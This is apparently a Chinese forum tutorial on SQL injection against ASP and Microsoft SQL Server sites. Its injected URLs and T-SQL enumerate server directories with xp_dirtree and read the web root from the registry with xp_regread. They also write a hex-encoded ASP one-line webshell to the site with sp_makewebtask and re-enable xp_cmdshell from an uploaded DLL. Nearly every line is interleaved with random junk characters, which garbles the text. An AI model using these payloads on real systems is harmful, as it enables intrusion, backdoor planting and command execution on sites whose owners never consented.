好,我们exec master..xp_dirtree'd:/test'& ^5 x& X! c/ O [, W! T0 |) a
假设我们在test里有两个文件夹test1和test2在test1里又有test32 t# H" ^; c: u" t3 R* J
结果显示
4 c/ b5 [9 u- q0 `# I% G
) _ B2 i7 C" G" \$ w1 G, @0 Vsubdirectory depth1 s- d7 S# r2 x7 `9 r$ g
test1 18 d1 v0 l9 n+ ~- L
test3 2
& R& c- D/ M# w, itest2 1
. L' L: a n/ g, u# p e8 S5 v: Y! o% T# N* b% [7 h
哈哈发现没有那个depth就是目录的级数3 I# W9 t6 F) L0 v
ok了,知道怎么办了吧
3 \8 P) M: K0 m1 w
; Z# c. m. w1 K# mhttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- # M( z! B/ h* L! L
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- 2 X% h! c! f) g/ l
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-: S7 S ~4 @- p% Y! b% G! ?
- I( n4 g7 t( W: @/ h只要加上id=1,就是第一级目录 。
& P$ T) F4 H$ z: J8 i
\' A" \- ?4 T7 h' v2 @; Q
7 f( V/ b$ }& D' b9 ]; @9 `通过注册表读网站路径:" q7 m+ _6 Q6 U) u6 K
( [4 N" T0 p1 b% i s. O' N
1.;create table [dbo].[cyfd] ([gyfd][char](255));
: X5 ?; [- L. `( i3 K
1 e; y* v& c A! e+ _& i5 t- ^* R2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--; Z1 F0 T* j9 ?# Z
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--" g* n! N {4 I) z% s& D, d
1 Q S" _4 I- a8 K. s5 `
3.and 1=(select count(*) from 临时表 where 临时字段名>1)# k0 f+ N1 k( P+ w
and 1=(select count(*) from cyfd where gyfd > 1)
/ h6 b7 b C' G' |/ m5 {' |这样IE报错,就把刚才插进去的Web路径的值报出来了" A' E5 s: _$ g( C
8 P/ L6 N5 r" e& h: N
4.drop table cyfd;-- 删除临时表
; z) K# O. U% h- e( W6 |
+ P) I( P. r% t8 }; S1 ?6 |获得webshell方法:
$ A4 i4 b% |8 I6 P* G( d8 t1.create table cmd (a image)-- \**cmd是创建的临时表* M8 q. b2 a$ m0 u9 S6 q' F
3 p& ]3 f' _4 R, c
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
3 e* F! A" A/ d
, z& c7 o) @ S) p- X
% @- |% c" Y" @% U. Y3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
2 P, h. m g9 p" j7 t7 k# SEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'+ Y1 S: s0 u" I
5 m& O2 _) e) ~; M7 c' u4.drop table cmd;-- 删除cmd临时表% `8 E0 }# H/ U/ c* i
7 i4 p5 G& E5 C8 O恢复xp_cmdshell方法之一:: e; X6 ]: X3 R# _+ S; c% M [1 G
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
' q b( W* E! @5 o" g% xhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'6 M& X; P0 \! ?8 x
恢复,支持绝对路径的恢复哦。:)# O% v8 A. Q1 x3 h( { _
|